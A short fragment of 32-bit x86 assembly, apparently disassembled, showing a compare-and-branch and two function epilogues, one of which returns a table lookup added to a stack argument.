cmp ebp, dword [esp + 4]
jb 0x40329a
xor eax, eax
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8
mov edx, dword [esp]
mov edx, dword [edx + ecx*4]
mov eax, dword [esp + 0x24]
add eax, edx
add esp, 0x10
pop ebx
pop edi
pop esi
pop ebp
ret 8